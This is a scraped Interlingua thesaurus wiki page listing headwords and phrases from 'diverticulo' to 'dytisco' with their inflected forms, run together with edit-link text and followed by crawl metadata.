diverticuloModificar divertimentoModificar divertimento costoseModificar divertimento costoso divertimento innocenteModificar divertimento popularModificar divertimento publicModificar divertimento publico divide e imperaModificar divide et impera divide e regnaModificar divide et regna dividendoModificar dividendo bancariModificar dividendo bancario dividendo finalModificar dividendo interimeModificar dividendo interimo dividendo provisionalModificar dividendo trimestralModificar dividerModificar divider in duoModificar divider in duos \/ duas divider in lotesModificar divider in phasesModificar divider in quatroModificar divider in semestresModificar divider le butinoModificar divider le spiritosModificar divider los spiritos divider un angulo in duoModificar divider un angulo in duos divider un parolaModificar divider una parola divider un terrenoModificar dividiviModificar dividivi [le divinModificar divino(s) \/ divina(s) divina qui me ha scribiteModificar divina qui me ha \/ habe scribito divinarModificar divinar le futuroModificar divinar le intentiones de un personaModificar divinar las intentiones de una persona divinar le pensamentos de un personaModificar divinar los pensamentos de una persona divinar le pensatas de un personaModificar divinar las pensatas de una persona divinationModificar divination del futuroModificar divinatorModificar divinatoriModificar divinatorio(s) \/ divinatoria(s) divinisarModificar divinizar divinisationModificar divinization divinitateModificar divinitate aquaticModificar divinitate aquatica divinitate biformeModificar divinitate del montaniasModificar divinitate de las montanias divinitates chthonieModificar divinitates chthonias divinitates topicModificar divinitates topicas divinoModificar diviseModificar diviso(s) \/ divisa(s) divisibileModificar divisibile(s) divisibilitateModificar divisibilitate del materiaModificar divisibilitate de la materia divisionModificar division administrativeModificar division administrativa division blindateModificar division blindata division cellularModificar division centesimalModificar division cuirassateModificar division cuirassata division de carros de combattoModificar division de cavalleriaModificar division de cellulaModificar division de chirurgiaModificar division de \/ del laborModificar division de reductionModificar division de tanksModificar division de un superficieModificar division de una superficie division del costosModificar division de los costos division del dieModificar division del nucleoModificar division del poteresModificar division de los poteres division del travalioModificar division dichotomicModificar division dichotomica division in duoModificar division in duos \/ duas division in phasesModificar division in syllabasModificar division longitudinalModificar division mitoticModificar division mitotica division motorisateModificar division motorizata division de paracaditistasModificar division regionalModificar divisionalModificar divisional(es) divisionariModificar divisionario(s) \/ divisionaria(s) divisionismoModificar divisionistaModificar divisiveModificar divisivo(s) \/ divisiva(s) divison syllabic de un parolaModificar divison syllabica de una parola divisorModificar divisor de tensionModificar divisor de voltageModificar divisor normalModificar divisor primeModificar divisor primo divisoriModificar divisorio(s) \/ divisoria(s) divoModificar divorciarModificar divorciate permanentementeModificar [divorciato(s) \/ divorciata(s)] permanentemente divorcioModificar divortio collusiveModificar divortio collusivo divulgabileModificar divulgabile(s) divulgarModificar divulgar un novaModificar divulgar una nova divulgar un secretoModificar divulgationModificar divulgation de un secretoModificar divulgatorModificar divulgatoriModificar divulgatorio(s) \/ divulgatoria(s) divulsionModificar dixieland [A]Modificar dizygoteModificar dizygoto(s) \/ dizygota(s) djellabaModificar djellaba [la djinnModificar djinn [le doModificar do [le doanaModificar doana de un aeroportoModificar doana de un portoModificar doanalModificar doanal(es) doanerModificar doanero(s) \/ doanera(s) doaneroModificar Dobermann [G]Modificar docenteModificar docente adj, sub docente de mathematicaModificar docentiaModificar docerModificar docetismoModificar docileModificar docile(s) docilitateModificar docimasiaModificar docimasticModificar docimastico(s) \/ docimastica(s) docimologiaModificar docimologicModificar docimologico(s) \/ docimologica(s) docimoologoModificar dock [A]Modificar dock flottanteModificar docker [A]Modificar docteModificar docto(s) \/ docta(s) doctoModificar doctorModificar doctor de \/ in medicinaModificar doctor del EcclesiaModificar doctor de la Ecclesia doctoralModificar doctoral(es) doctorandoModificar doctorar (se)Modificar doctoratoModificar doctoressaModificar doctrinaModificar doctrina anabaptistaModificar doctrina anarchicModificar doctrina anarchica doctrina anarchistaModificar doctrina anarchisticModificar doctrina anarchistica doctrina animistaModificar doctrina animisticModificar doctrina animistica doctrina antisemiticModificar doctrina antisemitica doctrina baptistaModificar doctrina biblicModificar doctrina biblica doctrina brahmanicModificar doctrina brahmanica doctrina calvinistaModificar doctrina calvinisticModificar doctrina calvinistica doctrina catharicModificar doctrina catharica doctrina catholicModificar doctrina catholica doctrina christianModificar doctrina christiana doctrina collectivistaModificar doctrina collectivisticModificar doctrina collectivistica doctrina communistaModificar doctrina communisticModificar doctrina communistica doctrina de \/ del reincarnationModificar doctrina de \/ de_la reincarnation doctrina de statoModificar doctrina de vitaModificar doctrina del catharosModificar doctrina de los catharos doctrina del consubstantiationModificar doctrina de la consubstantiation doctrina del fideModificar doctrina de la fide doctrina del fixitate del speciesModificar doctrina de la fixitate de las species doctrina del gratiaModificar doctrina de la gratia doctrina del immortalitate (del anima)Modificar doctrina de la immortalitate (de la anima) doctrina del predestinationModificar doctrina de la predestination doctrina del preformationModificar doctrina de la preformation doctrina del TrinitateModificar doctrina de la Trinitate doctrina demographicModificar doctrina demographica doctrina ecclesiasticModificar doctrina ecclesiastica doctrina eleaticModificar doctrina eleatica doctrina epicureeModificar doctrina epicurea doctrina erroneeModificar doctrina erronea doctrina eschatologicModificar doctrina eschatologica doctrina eugenicModificar doctrina eugenica doctrina evangelicModificar doctrina evangelica doctrina evolutionistaModificar doctrina evolutionisticModificar doctrina evolutionistica doctrina exotericModificar doctrina exoterica doctrina extremisticModificar doctrina extremistica doctrina fallaceModificar doctrina falseModificar doctrina falsa doctrina fatalisticModificar doctrina fatalistica doctrina federalistaModificar doctrina galenicModificar doctrina galenica doctrina gnosticModificar doctrina gnostica doctrina intransigenteModificar doctrina jansenistaModificar doctrina monarchistaModificar doctrina monistaModificar doctrina monistic de SpinozaModificar doctrina monistica de Spinoza doctrina mormonicModificar doctrina mormonica doctrina nestorianModificar doctrina nestoriana doctrina nominalistaModificar doctrina nominalisticModificar doctrina nominalistica doctrina non-conformistaModificar doctrina orthodoxeModificar doctrina orthodoxa doctrina pasteurianModificar doctrina pasteuriana doctrina pernicioseModificar doctrina perniciosa doctrina polytheistaModificar doctrina polytheisticModificar doctrina polytheistica doctrina rationalisticModificar doctrina rationalistica doctrina reformateModificar doctrina reformata doctrina relativisticModificar doctrina relativistica doctrina religioseModificar doctrina religiosa doctrina sacramentariModificar doctrina sacramentaria doctrina spurieModificar doctrina spuria doctrina stricteModificar doctrina stricta doctrina syncretistaModificar doctrina syncretisticModificar doctrina syncretistica doctrina teleologicModificar doctrina teleologica doctrina utilitaristicModificar doctrina utilitaristica doctrinalModificar doctrinal(es) doctrinariModificar doctrinario(s) \/ doctrinaria(s) doctrinarioModificar doctrinarismoModificar docudramaModificar docudrama [le documentabileModificar documentabile(s) documentalModificar documental(es) documentalistaModificar documentarModificar documentar seModificar documentar un persona super un questionModificar documentar una persona super una question documentariModificar documentario(s) \/ documentaria(s) documentarioModificar documentario super le animalesModificar documentario super los animales documentaristaModificar documentateModificar documentato(s) \/ documentata(s) documentationModificar documentation ampleModificar documentation ampla documentation lacunarModificar documentation lacunoseModificar documentation lacunosa documentation plethoricModificar documentation plethorica documentation ricModificar documentation rica documentation variateModificar documentation variata documentation voluminoseModificar documentation voluminosa documentoModificar documento apocrypheModificar documento apocrypho documento commercialModificar documento de archivoModificar documento de identitateModificar documento de processoModificar documento de valor inestimabileModificar documento del processoModificar documento facilemente databileModificar documento historicModificar documento historico documento indatabileModificar documento infalsificabileModificar documento justificativeModificar documento justificativo documento probatoriModificar documento probatorio documento processualModificar documento scientificModificar documento scientifico documento sigillateModificar documento sigillato documentos allegabileModificar documentos allegabiles documentos de bordoModificar documentos de viageModificar documentos secreteModificar documentos secretos documentos top secretModificar documentothecaModificar dodecagonalModificar dodecagonal(es) dodecagoneModificar dodecagono(s) \/ dodecagona(s) dodecagonoModificar dodecahedricModificar dodecahedrico(s) \/ dodecahedrica(s) dodecahedroModificar dodecahedro regularModificar dodecandreModificar dodecandro(s) \/ dodecandra(s) DodecanesoModificar dodecapetaleModificar dodecapetalo(s) \/ dodecapetala(s) dodecaphoniaModificar dodecaphonicModificar dodecaphonico(s) \/ dodecaphonica(s) dodecaphonismoModificar dodecaphonistaModificar dodecastyleModificar dodecastylo(s) \/ dodecastyla(s) dodecasyllabeModificar dodecasyllabo(s) \/ dodecasyllaba(s) dodecasyllaboModificar dodoModificar dogaressaModificar dogeModificar doge [le dogmaModificar dogma [le dogma catholicModificar dogma catholico dogma christianModificar dogma christiano dogma del infallibilitate del papaModificar dogma de la infallibilitate del papa dogma del infallibilitate pontificalModificar dogma de la infallibilitate pontifical dogma del TrinitateModificar dogma de la Trinitate dogma immobileModificar dogma trinitariModificar dogma trinitario dogmas hereticModificar dogmas hereticos dogmas politicModificar dogmas politicos dogmaticModificar dogmatico(s) \/ dogmatica(s) dogmaticaModificar dogmatica theticModificar dogmatica thetica dogmatisarModificar dogmatizar dogmatisationModificar dogmatization dogmatisatorModificar dogmatizator dogmatismoModificar dogmatistaModificar dogoModificar dogo daneseModificar dolabriformeModificar dolabriforme(s) dolby [A]Modificar dolce vita [I]Modificar dolerModificar doler se deModificar dolichocephaleModificar dolichocephalo(s) \/ dolichocephala(s) dolichocephaliaModificar dolichocephaloModificar dolichocephalo dolichomorpheModificar dolichomorpho(s) \/ dolichomorpha(s) dolichopetaleModificar dolichopetalo(s) \/ dolichopetala(s) dolichopodeModificar dolichopodo(s) \/ dolichopoda(s) dolinaModificar dolinas karsticModificar dolinas karsticas dollar [A]Modificar dollar americanModificar dollar americano dollar canadianModificar dollar canadiano dollar liberianModificar dollar liberiano dollar malayModificar dollar malayo dolmanModificar dolman [le dolmenModificar dolmen [le doloModificar DolomitasModificar dolomiteModificar dolomite [la dolomiticModificar dolomitico(s) \/ dolomitica(s) dolorModificar dolor [le \/ la dolor abdominalModificar dolor acuteModificar dolor acuto \/ acuta dolor amoroseModificar dolor amoroso \/ amorosa dolor atroceModificar dolor cephalicModificar dolor cephalico \/ cephalica dolor colicModificar dolor colico \/ colica dolor de aureModificar dolor de capiteModificar dolor de dentesModificar dolor de lumbosModificar dolor de stomachoModificar dolor de testaModificar dolor de ventreModificar dolor dorsalModificar dolor fulguranteModificar dolor in_le \/ del dorsoModificar dolor inenarrabileModificar dolor insupportabileModificar dolor intercostalModificar dolor interiorModificar dolor intestinalModificar dolor intolerabileModificar dolor lancinanteModificar dolor lumbarModificar dolor menstrualModificar dolor neuralgicModificar dolor neuralgico \/ neuralgica dolor palpitanteModificar dolor phantasmaModificar dolor pulsativeModificar dolor pulsativo \/ pulsativa dolor recurrenteModificar dolor scapularModificar dolor spasmodicModificar dolor spasmodico \/ spasmodica dolor stomachalModificar dolor supportabileModificar dolor surdeModificar dolor surdo \/ surda dolor sympathicModificar dolor sympathico \/ sympathica dolor tendinoseModificar dolor tendinoso \/ tendinosa dolor terebranteModificar dolor ventralModificar dolor vertebralModificar dolor(es) abdominalModificar dolor_abdominal \/ dolores_abdominales dolores articularModificar dolores articulares dolores de partoModificar dolores de parturitionModificar dolores epigastricModificar dolores epigastricos \/ epigastricas dolores expulsiveModificar dolores expulsivos \/ expulsivas dolores in le dorsoModificar dolores muscularModificar dolores musculares dolores nephriticModificar dolores nephriticos \/ nephriticas dolores premenstrualModificar dolores premenstruales dolores rheumaticModificar dolores rheumaticos \/ rheumaticas dolorositateModificar domabileModificar domabile(s) domabilitateModificar domarModificar domar leonesModificar domatorModificar domator de cavallosModificar domator de leonesModificar domator de ursoModificar domesticModificar domestico(s) \/ domestica(s) domesticaModificar domesticabileModificar domesticabile(s) domesticarModificar domesticationModificar domestication de animales salvageModificar domestication de animales salvages domesticatorModificar domesticitateModificar domesticoModificar domiciliarModificar domiciliar vb domiciliar un littera de cambioModificar domiciliar una littera de cambio domiciliariModificar domiciliario(s) \/ domiciliaria(s) domicilioModificar domicilio actualModificar domicilio conjugalModificar domicilio de servicioModificar domicilio de un societateModificar domicilio de una societate domicilio fixeModificar domicilio fixo dominaModificar dominabileModificar dominabile(s) dominanteModificar dominante adj, sub dominantiaModificar dominantia apicalModificar dominarModificar dominar InterlinguaModificar dominar le materiaModificar dominar la materia dominar le situationModificar dominar la situation dominar le theoria de un technicaModificar dominar la theoria de una technica dominar su passionesModificar dominar sus passiones dominar su subjectoModificar dominar un populoModificar dominationModificar domination spiritualModificar domination tyrannicModificar domination tyrannica dominatorModificar dominialModificar dominial(es) dominicaModificar dominica de AdventoModificar dominica de paschaModificar dominica de pentecosteModificar Dominica del PalmasModificar Dominica de las Palmas Dominica del ramosModificar Dominica de los ramos dominicalModificar dominical(es) dominicanModificar dominicano(s) \/ dominicana(s) dominicanoModificar DominicoModificar dominioModificar dominio de se ipseModificar dominio de se [ipso(s) \/ ipsa(s)] dominio de un cavalleroModificar dominio del mundoModificar dominio del spiritoModificar dominio linguisticModificar dominio linguistico dominio mundialModificar dominio nationalModificar dominio publicModificar dominio publico dominio ruralModificar dominio universalModificar dominoModificar domoModificar domo communalModificar domo de anguloModificar domo de campaniaModificar domo de correctionModificar domo de DeoModificar domo de detentionModificar domo de ecclesiaModificar domo de foliageModificar domo de locationModificar domo de modaModificar domo de pauperesModificar domo de pignoresModificar domo de povresModificar domo de reposoModificar domo de \/ del salModificar domo del defunctoModificar domo del PantheonModificar domo inhabitabileModificar domo locativeModificar domo locativo domo mobilateModificar domo mobilato domo municipalModificar domo natalModificar domo parochialModificar domo proprieModificar domo proprio domo serialModificar donabileModificar donabile(s) donaciaModificar donarModificar donatarioModificar donationModificar donation generoseModificar donation generosa donationes inter vivosModificar donatismoModificar donatistaModificar donativoModificar donatorModificar donator de organoModificar donator de sanguineModificar donator de spermaModificar donator generoseModificar donator generoso donator liberalModificar doniaModificar donjonModificar donjon [le donjuanescModificar donjuanesco(s) \/ donjuanesca(s) donjuanismoModificar donnaModificar donoModificar dono benveniteModificar dono benvenito dono de anniversarioModificar dono de benvenitaModificar dono de DeoModificar dono de monetaModificar dono de NatalModificar dono de nuptiasModificar dono de observationModificar dono de paschaModificar dono de persuasionModificar dono de publicitateModificar dono del celoModificar dono del eloquentiaModificar dono de la eloquentia dono del linguasModificar dono de las linguas dono del parolaModificar dono de la parola dono del prophetiaModificar dono de la prophetia dono persuasiveModificar dono persuasivo dono pro le linguasModificar dono pro las linguas dono promotionalModificar dono propheticModificar dono prophetico dono remuneratoriModificar dono remuneratorio dono suasiveModificar dono suasivo donos charismaticModificar donos charismaticos donos del spiritoModificar doparModificar dopar seModificar doping [A]Modificar doping de sanguineModificar DopplerModificar dorarModificar dorar le pilulaModificar dorar la pilula dorateModificar dorato(s) \/ dorata(s) doratorModificar doraturaModificar dorianModificar doriano(s) \/ doriana(s) dorianoModificar doricModificar dorico(s) \/ dorica(s) doricoModificar dorisModificar doris [la dormettarModificar dormienteModificar durmiente(s) adj dormirModificar dormir al perticaModificar dormir a la pertica dormir como un marmottaModificar dormir como una marmotta dormir insimulModificar dormir le somno del justoModificar dormir profundementeModificar dormir profundamente dormir super su laurosModificar dormir super sus lauros dormir troppo longementeModificar dormir troppo longamente dormitiveModificar dormitivo(s) \/ dormitiva(s) dormitivoModificar dormitorModificar dormitorioModificar doronicoModificar doronico [le DorotheaModificar dorsalModificar dorsal(es) dorsalgiaModificar dorsiventralModificar dorsiventral(es) dorsiventralitateModificar dorsoModificar dorso a dorsoModificar dorso curvateModificar dorso curvato dorso de cattoModificar dorso de montaniaModificar dorso de un sediaModificar dorso de una sedia dorso del manoModificar dorso de la mano dorso reclinabileModificar dorso reclinabile de un sediaModificar dorso reclinabile de una sedia dorso voltateModificar dorso voltato dorsoventralModificar dorsoventral(es) doryphoraModificar doryphora del ColoradoModificar dosabileModificar dosabile(s) dosageModificar dosarModificar dosatorModificar dosator automaticModificar dosator automatico dose = dosisModificar dose de radiationModificar dose excessiveModificar dose excessiva dose homeopathicModificar dose homeopathica dose lethalModificar dose maximalModificar dose maximeModificar dose maxima dose mortalModificar dose toxicModificar dose toxica dose troppo forteModificar dosimetriaModificar dosimetricModificar dosimetrico(s) \/ dosimetrica(s) dosimetroModificar dosis de radiationModificar dosis homeopathicModificar dosis homeopathica dosis lethalModificar dosis toxicModificar dosis toxica dossier [F]Modificar dossier mysterioseModificar dossier mysterioso dossier suspenditeModificar dossier suspendito dotalModificar dotal(es) dotarModificar dotar un persona generosementeModificar dotar una persona generosamente dotate de rationModificar [dotato(s) \/ dotata(s)] de ration dotationModificar dotation a un institution caritativeModificar dotation a una institution caritativa dotatorModificar doteModificar dote [le dote nuptialModificar dovaModificar doxologiaModificar doxologicModificar doxologico(s) \/ doxologica(s) dozenaModificar drabaModificar dracenaModificar drachmaModificar dracocephaloModificar DraconModificar draconModificar dracon con alasModificar draconianModificar draconiano(s) \/ draconiana(s) draconicModificar draconico(s) \/ draconica(s) draconiticModificar draconitico(s) \/ draconitica(s) dragaModificar draga aspiranteModificar draga de vaporModificar dragageModificar dragaminasModificar dragaminas [le dragarModificar dragar un portoModificar dragatorModificar dragator de minasModificar dragline [A]Modificar dragonModificar dragonaModificar drain [A]Modificar drainabileModificar drainabile(s) drainabilitateModificar drainageModificar drainage biologicModificar drainage biologico drainage de paludeModificar drainage de un polderModificar drainage electro-osmoticModificar drainage electro-osmotico drainarModificar drainar per pumpageModificar drainar un mariscoModificar dramaModificar drama de conscientiaModificar drama de familiaModificar drama fatalistaModificar drama liturgicModificar drama liturgico drama musicalModificar drama satyricModificar drama satyrico drama shakespearianModificar drama shakespeariano dramaticModificar dramatico(s) \/ dramatica(s) dramaticaModificar dramaticitateModificar dramatisarModificar dramatizar dramatisationModificar dramatization dramatisation de un roman \/ romanceModificar dramatization de un roman \/ romance dramaturgiaModificar dramaturgicModificar dramaturgico(s) \/ dramaturgica(s) dramaturgoModificar drapparModificar drapperiaModificar drapperoModificar drappoModificar drappo de auroModificar drappo de banioModificar drappo(s) de flanellaModificar drappo de lectoModificar drappo mortuariModificar drappo mortuario drappo superiorModificar drasticModificar drastico(s) \/ drastica(s) drasticitateModificar drasticitate de un remedioModificar dravidicModificar dravidico(s) \/ dravidica(s) dravidologiaModificar dreadnought [A]Modificar drepanocytoModificar drepanocytose = drepanocytosisModificar dressageModificar dressar un falconModificar dribblarModificar dribblar le ballon circum le keeperModificar dribblatorModificar dribble [A]Modificar drifter [A]Modificar drive [A]Modificar drive-in [A]Modificar drizzaModificar drogaModificar droga durModificar droga dura droga psychedelicModificar droga psychedelica droga psychopharmacologicModificar droga psychopharmacologica droga spasmogeneModificar droga spasmogena drogarModificar drogar seModificar drogas dulceModificar drogas dulces drogas durModificar drogas duras drogas forteModificar drogas fortes drogas legierModificar drogas legieras drogas psychedelicModificar drogas psychedelicas drogatoModificar drogeriaModificar drogistaModificar drogmanModificar drolleModificar drollo(s) \/ drolla(s) drolleriaModificar dromedarioModificar dromiaModificar dromia vulgarModificar dronteModificar dronte [le dropshot [A]Modificar droseraModificar drosera rotundifolieModificar drosera rotundifolia droseraceasModificar drosometriaModificar drosometricModificar drosometrico(s) \/ drosometrica(s) drosometroModificar drosophilaModificar drosophila funebreModificar drososcopioModificar druidaModificar druida [le druidessaModificar druidicModificar druidico(s) \/ druidica(s) druidismoModificar drupaModificar drupaceeModificar drupaceo(s) \/ drupacea(s) drusaModificar dry farming [A]Modificar dryadeModificar dryade [la dualModificar dual(es) dualismoModificar dualistaModificar dualisticModificar dualistico(s) \/ dualistica(s) dualitateModificar dubitaModificar dubita justificateModificar dubita justificata dubitabileModificar dubitabile(s) dubitarModificar dubitar del veracitate del historiaModificar dubitar de la veracitate de la historia dubitas injustificateModificar dubitas injustificatas dubitationModificar dubitativeModificar dubitativo(s \/ dubitativa(s) dubitatorModificar dubitator incorrigibileModificar dubitoseModificar dubitoso(s) \/ dubitosa(s) dublineseModificar dublinese(s) \/ dublinesa(s) duc pl duchesModificar ducalModificar ducal(es) ducatoModificar ducato de NormandiaModificar ducato de ParmaModificar ducatonModificar ducaton [le ducerModificar ducha {sh}Modificar ducha tepideModificar ducha tepida duchar {sh}Modificar duchar un infante pro lavar leModificar duchar un infante pro lavar lo duchessaModificar duchessa de WindsorModificar ductileModificar ductile(s) ductilitateModificar ductilitate del auroModificar ductoModificar ducto acusticModificar ducto acustico ducto auditiveModificar ducto auditivo ducto auditoriModificar ducto auditorio ducto cysticModificar ducto cystico ducto deferenteModificar ducto ejaculatoriModificar ducto ejaculatorio ducto galactophoreModificar ducto galactophoro ducto hepaticModificar ducto hepatico ducto lacrimalModificar ducto seminalModificar ducto thoracicModificar ducto thoracico duecento [I]Modificar duellarModificar duellatorModificar duellistaModificar duelloModificar duello de artilleriaModificar duello de chacosModificar duello indeciseModificar duello indeciso duello judiciariModificar duello judiciario duello oratoriModificar duello oratorio duettistaModificar duettistas comicModificar duettistas comicos \/ comicas duettoModificar dug out [A]Modificar dulceModificar dulce(s) dulce amarModificar dulce amaro \/ amara dulce como le melleModificar dulce(s) como le melle dulciastreModificar dulcificanteModificar dulcificante [le dulcificarModificar dulcificar aquaModificar dulcificar le caffe con saccharinaModificar dulcificationModificar dulcorModificar dulcor de un cigarrettaModificar dulcor de una cigarretta duliaModificar dumModificar dum conj dumaModificar dumdum [A]Modificar dumping [A]Modificar dunaModificar duna litoralModificar duna maritimeModificar duna maritima duna pleistocenModificar duna pleistocena duna transversalModificar dunas mobileModificar dunas mobiles DunkerqueModificar dunqueModificar dunque conj duoModificar duos \/ duas duo a duoModificar duos_a_duos \/ duas_a_duas duo annos de prisionModificar duos annos de prision duo cameras communicanteModificar duas cameras communicantes duo cosas absolutemente incomparabileModificar duas cosas absolutamente incomparabiles duo cosas essentialmente differenteModificar duas cosas essentialmente differentes duo digitos de scuma \/ spumaModificar duos digitos de scuma \/ spuma duo es inferior a tresModificar duos est inferior a tres duo horasModificar duas horas duo horas de marchaModificar duas horas de marcha duo horas de navigationModificar duas horas de navigation duo litros de lacteModificar duos litros de lacte duo milliones de hominesModificar duos milliones de homines duo naturas discordanteModificar duas naturas discordantes duo naturas discordeModificar duas naturas discordes duo naturas opponiteModificar duas naturas opponitas duo naturas oppositeModificar duas naturas oppositas duo punctosModificar duos punctos duodeceModificar duodecesimeModificar duodecesimo(s) \/ duodecesima(s) duodecimalModificar duodecimal(es) duodecimeModificar duodecimo(s) \/ duodecima(s) duodenalModificar duodenal(es) duodenitisModificar duodenoModificar duparModificar dupar le confidentia de un personaModificar dupar la confidentia de una persona dupeModificar dupe [le duperiaModificar duplageModificar duplamentoModificar duplarModificar duplar le numeroModificar duplar un capoModificar duplar un filmModificar duplate in InterlinguaModificar [duplato(s) \/ duplata(s)] in Interlingua dupleModificar duplo(s) \/ dupla(s) duple de longitudeModificar [duplo(s) \/ dupla(s)] de longitude duple decimetroModificar duplo decimetro duple decision del OTANModificar dupla decision de la OTAN duple fila de spectatoresModificar dupla fila de spectatores duple fundoModificar duplo fundo duple heliceModificar dupla helice duple mixteModificar dupla mixta duple objectivoModificar duplo objectivo duple vitros a duple focoModificar duplos vitros a duplo foco duplettoModificar duplexModificar duplex [le duplicabileModificar duplicabile(s) duplicarModificar duplicar le numeroModificar duplicar un documentoModificar duplicar un syllabaModificar duplicar una syllaba duplicationModificar duplication chromosomicModificar duplication chromosomica duplication de un documentoModificar duplication de un syllabaModificar duplication de una syllaba duplicativeModificar duplicativo(s) \/ duplicativa(s) duplicatoModificar duplicatorModificar duplicaturaModificar dupliceModificar duplice(s) duplice heliceModificar duplicitateModificar duplicitate de causasModificar durModificar duro(s) \/ dura(s) dur a manearModificar [duro(s) \/ dura(s)] a manear dur como le ferroModificar [duro(s) \/ dura(s)] como le ferro dur como un petraModificar [duro \/ dura] como una petra dur de aureModificar [duro(s) \/ dura(s)] de aure dur de cordeModificar [duro(s) \/ dura(s)] de corde dur de intendimentoModificar [duro(s) \/ dura(s)] de intendimento dur de manearModificar [duro(s) \/ dura(s)] de manear dur de ventreModificar [duro(s) \/ dura(s)] de ventre dura mater [L]Modificar durabileModificar durabile(s) durabilitateModificar durabilitate del amicitateModificar durabilitate de la amicitate durabilitate del paceModificar durabilitate de la pace duraluminiumModificar duramenModificar duramen [le duranteModificar durante prep durante jornatas integreModificar durante jornatas integras durante le cabinetto KokModificar durante le deliberationesModificar durante las deliberationes durante le dieModificar durante le horas de scholaModificar durante las horas de schola durante le jornoModificar durante le lunchModificar durante le negotiationesModificar durante las negotiationes durante le nocteModificar durante la nocte durante le regno de JulianaModificar durante le repastoModificar durante mi absentiaModificar durante queModificar durante seculosModificar durante septimanas e septimanasModificar durante septimanas e \/ et septimanas durarModificar durar un eternitateModificar durar una eternitate durataModificar durata de expositionModificar durata de functionamento de un machinaModificar durata de functionamento de una machina durata de incubationModificar durata de laborModificar durata de oscillationModificar durata de posaModificar durata de prestoModificar durata de reactionModificar durata de travalioModificar durata de un oscillationModificar durata de una oscillation durata de utilisation de un collaModificar durata de utilization de una colla durata de validitateModificar durata de viageModificar durata de vitaModificar durata del conclaveModificar durata del cursoModificar durata del dieModificar durata del examineModificar durata del flashModificar durata del gestationModificar durata de la gestation durata del horas de \/ del laborModificar durata de las horas de \/ del labor durata del horas de travalioModificar durata de las horas de travalio durata del jornata de laborModificar durata de la jornata de labor durata del jornata de travalioModificar durata de la jornata de travalio durata del jornoModificar durata del laborModificar durata del penaModificar durata de la pena durata del reflexoModificar durata del studiosModificar durata de los studios durata del termino de arrentamentoModificar durata del vita humanModificar durata de la vita humana durata germinativeModificar durata germinativa durationModificar duration de expositionModificar duration de incubationModificar duration de \/ del laborModificar duration de oscillationModificar duration de prestoModificar duration de reactionModificar duration de travalioModificar duration de validitateModificar duration de viageModificar duration de \/ del vitaModificar duration de \/ de_la vita duration del cursoModificar duration del examineModificar duration del flashModificar duration del gestationModificar duration de la gestation duration del horas de \/ del laborModificar duration de las horas de \/ del labor duration del horas de travalioModificar duration de las horas de travalio duration del jornata de laborModificar duration de la jornata de labor duration del jornata de travalioModificar duration de la jornata de travalio duration del penaModificar duration de la pena duration del periodo de arrentamentoModificar duration del reflexoModificar duration del studiosModificar duration de los studios duration del validitateModificar duration de la validitate duration del vita humanModificar duration de la vita humana duration germinativeModificar duration germinativa durativeModificar durativo(s) \/ durativa(s) durativitateModificar durativoModificar duressaModificar duressa de acieroModificar duressa del aquaModificar duressa de la aqua duressa del diamanteModificar durmente provateModificar duramente provato(s) \/ provata(s) duroModificar duumviralModificar duumviral(es) duumviratoModificar duumviroModificar dyadeModificar dyade [la dyadicModificar dyadico(s) \/ dyadica(s) dynaModificar dyna [le dynamicModificar dynamico(s) \/ dynamica(s) dynamicaModificar dynamica gyrostaticModificar dynamica gyrostatica dynamicitateModificar dynamicitate de un personaModificar dynamicitate de una persona dynamicitate del vita moderneModificar dynamicitate de la vita moderna dynamisarModificar dynamizar dynamisationModificar dynamization dynamismoModificar dynamismo de BergsonModificar dynamismo de LeibnizModificar dynamistaModificar dynamitarModificar dynamitar un ponteModificar dynamitar un(a) ponte dynamiteModificar dynamite [la dynamiteriaModificar dynamiteroModificar dynamiticModificar dynamitico(s) \/ dynamitica(s) dynamoModificar dynamo a currente alternativeModificar dynamo a currente alternativa dynamo compoundModificar dynamo de alte tensionModificar dynamo de alta tension dynamo de alte voltageModificar dynamo de alto voltage dynamo de basse tensionModificar dynamo de bassa tension dynamo de basse voltageModificar dynamo de basso voltage dynamo de bicyclettaModificar dynamo de cyclomotorModificar dynamo de excitationModificar dynamo eolicModificar dynamo eolico dynamo multipolarModificar dynamoelectricModificar dynamoelectrico(s) \/ dynamoelectrica(s) dynamogeneModificar dynamogeno(s) \/ dynamogena(s) dynamographoModificar dynamometriaModificar dynamometricModificar dynamometrico(s) \/ dynamometrica(s) dynamometroModificar dynamometro de absorptionModificar dynastaModificar dynastiaModificar dynastia capetianModificar dynastia capetiana dynastia merovingianModificar dynastia merovingiana dynastia MingModificar dynastia regalModificar dynastia royalModificar dynasticModificar dynastico(s) \/ dynastica(s) dysarthriaModificar dysbarismoModificar dyscalculiaModificar dyscalculicModificar dyscalculico(s) \/ dyscalculica(s) dyschromatopsiaModificar dyschromiaModificar dysenteriaModificar dysentericModificar dysenterico(s) \/ dysenterica(s) dysfunctionModificar dysfunction gastricModificar dysfunction gastrica dysfunction stomachalModificar dysfunctionalModificar dysfunctional(es) dysgraphiaModificar dyslexiaModificar dyslexicModificar dyslexico(s) \/ dyslexica(s) dysmnesiaModificar dysmorphiaModificar dysorexiaModificar dyspepsiaModificar dyspepticModificar dyspeptico(s) \/ dyspeptica(s) dysphasiaModificar dysphoniaModificar dyspneaModificar dyspnea cardiacModificar dyspnea cardiaca dyspnea expiratoriModificar dyspnea expiratoria dyspneicModificar dyspneico(s) \/ dyspneica(s) dysprosiumModificar dystrophiaModificar dystrophia congeniteModificar dystrophia congenita dystrophia muscularModificar dystrophicModificar dystrophico(s) \/ dystrophica(s) dysuriaModificar ====dytisco==== Obtenite de \"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_disgustar?oldid=2479\" Categorias: Adder categoria Cancellar Salveguardar Community content is available under CC-BY-SA unless otherwise noted.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_disgustar","date":"2020-02-18T09:25:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143646.38\/warc\/CC-MAIN-20200218085715-20200218115715-00148.warc.gz","language":"ina","language_score":0.5083092451,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.5083092451095581, \"por_Latn_score\": 0.055507030338048935, \"cat_Latn_score\": 0.03972391411662102, \"ast_Latn_score\": 0.03916144743561745, \"swe_Latn_score\": 0.031066644936800003, \"vec_Latn_score\": 0.028320830315351486, \"spa_Latn_score\": 0.027643995359539986, \"ile_Latn_score\": 0.024394473060965538, \"lvs_Latn_score\": 0.02207854390144348, \"mlt_Latn_score\": 0.01942691020667553, \"lat_Latn_score\": 0.01784820668399334, \"nld_Latn_score\": 0.014363234862685204, \"dan_Latn_score\": 0.014212816953659058, \"ita_Latn_score\": 